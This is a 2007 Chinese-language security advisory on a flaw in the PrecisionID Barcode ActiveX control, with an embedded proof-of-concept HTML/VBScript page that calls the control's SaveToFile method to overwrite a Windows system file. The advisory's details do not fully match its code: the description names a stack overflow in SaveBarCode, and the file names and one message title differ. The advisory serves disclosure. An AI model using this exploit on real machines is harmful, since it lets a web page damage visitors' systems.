发布日期：2007-05-16
更新日期：2007-05-17

受影响系统：

PrecisionID Linear Barcode ActiveX 1.9.0.0

描述：

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BUGTRAQ  ID: 24014

PrecisionID Linear Barcode是一款生成条码的工具。

PrecisionID Linear Barcode的PrecisionID.BarCode.1 ActiveX控件实现上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户机器。

PrecisionID.BarCode.1 ActiveX控件（PrecisionID_Barcode.dll）在处理SaveBarCode()方式时存在栈溢出漏洞，如果用户受骗访问了恶意站点并对该方式传送了超长参数的话，就可以触发这个溢出，导致执行任意指令。

<*来源：shinnai （shinnai@autistici.org）
  
  链接：http://secunia.com/advisories/25253/
*>

测试方法：

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警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/16</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------------
<b>IE 6 PrecisionID Barcode ActiveX 1.9 0day (PrecisionID_Barcode.dll) Remote Arbitrary File Overwrite</b>
url: http://www.precisionid.com/

author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org

This was written for educational purpose. Use it at your own risk.
Author will be not be responsible for any damage.

<b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

Tested on Windows XP Professional SP2 all patched, with Internet Explorer 6
all software that use this ocx are vulnerable to these exploits.

If you try this exploit with IE 7, it just stops to answer
-----------------------------------------------------------------------------------------------------

<object classid='clsid:731766D0-8541-11DB-99C1-0050C2490048' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.SaveToFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/11 - Morovia Barcode")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/16 - PrecisionID Barcode ActiveX")
   End If
End Sub
</script>
</span></span>
</code></pre>

建议：

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厂商补丁：

PrecisionID
-----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.precisionid.com/

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